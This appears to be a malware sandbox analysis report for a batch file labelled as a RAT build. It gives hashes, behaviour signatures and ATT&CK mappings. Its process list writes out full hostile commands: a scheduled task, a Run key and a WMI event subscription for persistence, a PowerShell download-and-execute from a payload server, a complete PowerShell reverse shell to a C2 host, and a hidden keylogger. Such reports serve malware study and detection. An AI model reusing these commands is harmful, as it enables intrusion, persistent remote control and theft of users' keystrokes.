Analysis
- max time kernel
149s - max time network
149s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows - submitted
29/05/2026, 01:39
Static task
static1
Behavioral task
behavioral1
Sample
rat_build_341278_014847.bat
Resource
win10v2004-20260513-en
Behavioral task
behavioral2
Sample
rat_build_341278_014847.bat
Resource
win11-20260513-en
General
- Target rat_build_341278_014847.bat
- Size 4KB
- Sample260529-b28gtsht4x
- SHA256 3e590446f7aa7ba84b40e3782ccde018cb71709317654fa8067398faf7e2f36b
- MD5 dc4fc0c139944e4a808a489fbf50f4a3
- SHA1 a29dfbff6046be8b808b329573b4c28cce37cc51
- SHA512 f68dd26afb55941b0765ef1e84d74d5e0d2ac0c6596dc854673444d11b172f7ee74312ce77dbd4eb6a8f6e67e38563f6b4018a7b33f3f495444003dce5a5dec7
- SSDEEP 96:EILtWOKswf0fV9kyU2O2EonfdHWdtRg/dLBiFgZk8mvlo1CQfCO:EVOKFekyU2ZXf2tRoLiFgkHlCfCO
- TLSH T14FB1FA176B9A6020C8B02B68DE333869175CE5F72305CA4EBF4ACDC50A4DB87D51D6E7
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Extracted
-
ps1
-
ps1.dropper
http://payload.server/update_341278.ps1
Signatures
-
pid Process 3732 powershell.exe 3332 powershell.exe 2028 powershell.exe - Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Updater_341278 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\_341278.bat" reg.exe - Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 8 checkip.amazonaws.com - Gathers network information 2 TTPs 1 IoCs
Uses commandline utility to view network configuration.
pid Process 3680 NETSTAT.EXE - Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
pid Process 3860 systeminfo.exe - Modifies registry key 1 TTPs 1 IoCs
pid Process 4192 reg.exe - Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 2828 schtasks.exe - Suspicious behavior: EnumeratesProcesses 6 IoCs
pid Process 3732 powershell.exe 3732 powershell.exe 3332 powershell.exe 3332 powershell.exe 2028 powershell.exe 2028 powershell.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeIncreaseQuotaPrivilege 2132 WMIC.exe Token: SeSecurityPrivilege 2132 WMIC.exe Token: SeTakeOwnershipPrivilege 2132 WMIC.exe Token: SeLoadDriverPrivilege 2132 WMIC.exe Token: SeSystemProfilePrivilege 2132 WMIC.exe Token: SeSystemtimePrivilege 2132 WMIC.exe Token: SeProfSingleProcessPrivilege 2132 WMIC.exe Token: SeIncBasePriorityPrivilege 2132 WMIC.exe Token: SeCreatePagefilePrivilege 2132 WMIC.exe Token: SeBackupPrivilege 2132 WMIC.exe Token: SeRestorePrivilege 2132 WMIC.exe Token: SeShutdownPrivilege 2132 WMIC.exe Token: SeDebugPrivilege 2132 WMIC.exe Token: SeSystemEnvironmentPrivilege 2132 WMIC.exe Token: SeRemoteShutdownPrivilege 2132 WMIC.exe Token: SeUndockPrivilege 2132 WMIC.exe Token: SeManageVolumePrivilege 2132 WMIC.exe Token: 33 2132 WMIC.exe Token: 34 2132 WMIC.exe Token: 35 2132 WMIC.exe Token: 36 2132 WMIC.exe Token: SeIncreaseQuotaPrivilege 2132 WMIC.exe Token: SeSecurityPrivilege 2132 WMIC.exe Token: SeTakeOwnershipPrivilege 2132 WMIC.exe Token: SeLoadDriverPrivilege 2132 WMIC.exe Token: SeSystemProfilePrivilege 2132 WMIC.exe Token: SeSystemtimePrivilege 2132 WMIC.exe Token: SeProfSingleProcessPrivilege 2132 WMIC.exe Token: SeIncBasePriorityPrivilege 2132 WMIC.exe Token: SeCreatePagefilePrivilege 2132 WMIC.exe Token: SeBackupPrivilege 2132 WMIC.exe Token: SeRestorePrivilege 2132 WMIC.exe Token: SeShutdownPrivilege 2132 WMIC.exe Token: SeDebugPrivilege 2132 WMIC.exe Token: SeSystemEnvironmentPrivilege 2132 WMIC.exe Token: SeRemoteShutdownPrivilege 2132 WMIC.exe Token: SeUndockPrivilege 2132 WMIC.exe Token: SeManageVolumePrivilege 2132 WMIC.exe Token: 33 2132 WMIC.exe Token: 34 2132 WMIC.exe Token: 35 2132 WMIC.exe Token: 36 2132 WMIC.exe Token: SeIncreaseQuotaPrivilege 1144 WMIC.exe Token: SeSecurityPrivilege 1144 WMIC.exe Token: SeTakeOwnershipPrivilege 1144 WMIC.exe Token: SeLoadDriverPrivilege 1144 WMIC.exe Token: SeSystemProfilePrivilege 1144 WMIC.exe Token: SeSystemtimePrivilege 1144 WMIC.exe Token: SeProfSingleProcessPrivilege 1144 WMIC.exe Token: SeIncBasePriorityPrivilege 1144 WMIC.exe Token: SeCreatePagefilePrivilege 1144 WMIC.exe Token: SeBackupPrivilege 1144 WMIC.exe Token: SeRestorePrivilege 1144 WMIC.exe Token: SeShutdownPrivilege 1144 WMIC.exe Token: SeDebugPrivilege 1144 WMIC.exe Token: SeSystemEnvironmentPrivilege 1144 WMIC.exe Token: SeRemoteShutdownPrivilege 1144 WMIC.exe Token: SeUndockPrivilege 1144 WMIC.exe Token: SeManageVolumePrivilege 1144 WMIC.exe Token: 33 1144 WMIC.exe Token: 34 1144 WMIC.exe Token: 35 1144 WMIC.exe Token: 36 1144 WMIC.exe Token: SeIncreaseQuotaPrivilege 1144 WMIC.exe - Suspicious use of WriteProcessMemory 10 IoCs
description pid Process procid_target PID 4900 wrote to memory of 2828 4900 cmd.exe 88 PID 4900 wrote to memory of 4192 4900 cmd.exe 89 PID 4900 wrote to memory of 2132 4900 cmd.exe 90 PID 4900 wrote to memory of 1144 4900 cmd.exe 91 PID 4900 wrote to memory of 4556 4900 cmd.exe 93 PID 4900 wrote to memory of 3860 4900 cmd.exe 95 PID 4900 wrote to memory of 3680 4900 cmd.exe 99 PID 4900 wrote to memory of 3732 4900 cmd.exe 100 PID 4900 wrote to memory of 3332 4900 cmd.exe 103 PID 4900 wrote to memory of 2028 4900 cmd.exe 104 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\rat_build_341278_014847.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:4900 -
C:\Windows\system32\schtasks.exeschtasks /create /tn "WinUpdate_341278" /tr "C:\Users\Admin\AppData\Local\Temp\_341278.bat" /sc onlogon /ru "SYSTEM" /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:2828
-
-
C:\Windows\system32\reg.exereg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Updater_341278" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\_341278.bat" /f2⤵
- Adds Run key to start application
- Modifies registry key
PID:4192
-
-
C:\Windows\System32\Wbem\WMIC.exewmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="filt_341278", EventNameSpace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='explorer.exe'"2⤵
- Suspicious use of AdjustPrivilegeToken
PID:2132
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C:\Windows\System32\Wbem\WMIC.exewmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="cons_341278", CommandLineTemplate="cmd /c C:\Users\Admin\AppData\Local\Temp\_341278.bat"2⤵
- Suspicious use of AdjustPrivilegeToken
PID:1144
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C:\Windows\system32\curl.execurl -s http://checkip.amazonaws.com -o C:\Users\Admin\AppData\Local\Temp\ip_341278.txt2⤵PID:4556
-
-
C:\Windows\system32\systeminfo.exesysteminfo2⤵
- Gathers system information
PID:3860
-
-
C:\Windows\system32\NETSTAT.EXEnetstat -an2⤵
- Gathers network information
PID:3680
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "IEX((New-Object Net.WebClient).DownloadString('http://payload.server/update_341278.ps1'))"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:3732
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-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$client = New-Object System.Net.Sockets.TCPClient('c2.server.com',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:3332
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$w=(New-Object -ComObject WScript.Shell).Popup("Updating...",0,"Windows",0+48);$k=New-Object -ComObject WScript.Shell;$k.Run("powershell -WindowStyle Hidden -Command "$d=[Environment]::GetFolderPath('Desktop');$i=0;while($true){$key=[Console]::ReadKey($true);$t=$key.Key.ToString();if($t -eq 'Enter'){$t='[ENTER]'};Add-Content -Path $d\log.txt -Value $t}"),0,true"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:2028
-
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Scheduled Task
1Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
- Size 2KB
- SHA256 3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
- MD5 2f57fde6b33e89a63cf0dfdd6e60a351
- SHA1 445bf1b07223a04f8a159581a3d37d630273010f
- SHA512 42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220
- TLSH T15F51EE323375B1D8C9167F071E68198053BF4355EAA4AF1CB69C625EDD2640B9F222F3
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 adafa402d12daed5b99e07cdaa0452503fed90367ebd070f17fb4b7f6276437a
- MD5 5815253c3428d9a0c2d8cbfb22f0a133
- SHA1 db0558251d5448cd53877cb3ddca480ad57ce254
- SHA512 d9e315f2362055931bc230ff6355f33c38e71b7abfb2a40659e47cc8d29ba0d82a3f2877bc81b96e22dbce27bc776503758535a1c44e4be4944958afb7173ab4
- TLSH T1E5117627F39CC921CC96153A409DAD1172B683DB81AEDF9FAFC4D214A07F984CB712A4
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 a4ac24826eb103a467e682c7d3b174cc9219b36a0256db5a521657f953790670
- MD5 53e133cedb8c015ea356c2cebfb38f47
- SHA1 d6da1988a8a1260479812bcbfaa6ff1c19c87dca
- SHA512 2946a8a65e3ae04ad5a7f3ff8a7cbc65f023e83072c48ec54e0100dc9e966d77398d014ad4b80ee43d70e3d5ad4ee961e0375baec8041db89a02377f80f46213
- TLSH T16D115727B39C89A1DC96163A409DAC1172B683D7419EDEDF6BC0D214A17F584CB61190
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4ugw0dai.m0e.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH